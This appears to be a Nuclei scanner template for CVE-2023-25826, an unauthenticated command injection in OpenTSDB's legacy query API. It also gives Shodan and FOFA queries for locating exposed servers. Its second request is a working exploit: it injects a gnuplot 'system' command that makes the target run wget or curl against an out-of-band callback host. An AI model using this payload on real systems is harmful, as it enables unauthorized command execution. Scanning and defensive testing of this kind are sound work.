OpenTSDB <= 2.4.1 - Unauthenticated RCE via Gnuplot Injection

id: CVE-2023-25826

info:
  name: OpenTSDB <= 2.4.1 - Unauthenticated RCE via Gnuplot Injection
  author: aryu-ru
  severity: critical
  description: |
    OpenTSDB contains a command injection caused by insufficient validation of parameters passed to the legacy HTTP query API, letting attackers inject crafted OS commands and execute malicious code, exploit requires sending crafted parameters.
  impact: |
    Attackers can execute arbitrary OS commands on the host system, potentially leading to full system compromise.
  remediation: |
    Implement comprehensive input validation and update to the latest version that addresses this issue.
  reference:
    - https://github.com/OpenTSDB/opentsdb/pull/2275
    - https://github.com/vulhub/vulhub/blob/master/opentsdb/CVE-2023-25826/README.md
    - http://packetstormsecurity.com/files/174570/OpenTSDB-2.4.1-Unauthenticated-Command-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25826
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-25826
    epss-score: 0.35604
    epss-percentile: 0.98331
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    vendor: opentsdb
    product: opentsdb
    shodan-query: http.favicon.hash:407286339
    fofa-query: title="OpenTSDB"
  tags: cve,cve2023,opentsdb,rce,oast,unauth,packetstorm

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/suggest?type=metrics&q=&max=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
          - contains(body, "[\"")
          - '!contains(body, "<html")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: metric
        part: body
        group: 1
        regex:
          - '^\["([^"]+)"'
        internal: true

  - raw:
      - |
        GET /q?start=1h-ago&m=sum:{{metric}}&key=out%20right%20top%0asystem%20%22wget%20-q%20-T%205%20-O%20/dev/null%20http://{{interactsh-url}}%20%7C%7C%20curl%20-sk%20--max-time%205%20http://{{interactsh-url}}%22&json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_any(interactsh_protocol, "http", "dns")
          - contains_all(body, "plotted", "points", "etags")
          - status_code == 200
        condition: and
# digest: 490a0046304402201c60376f1301e4ec07818dd97f25fae0548f627c1f9ac557f7fae46df3522b2d0220765ec06fc668d9d1e4817a010856a4f610dc65a2c045bb8b74ce1478319541e8:922c64590222798bb761d5b6d8e72950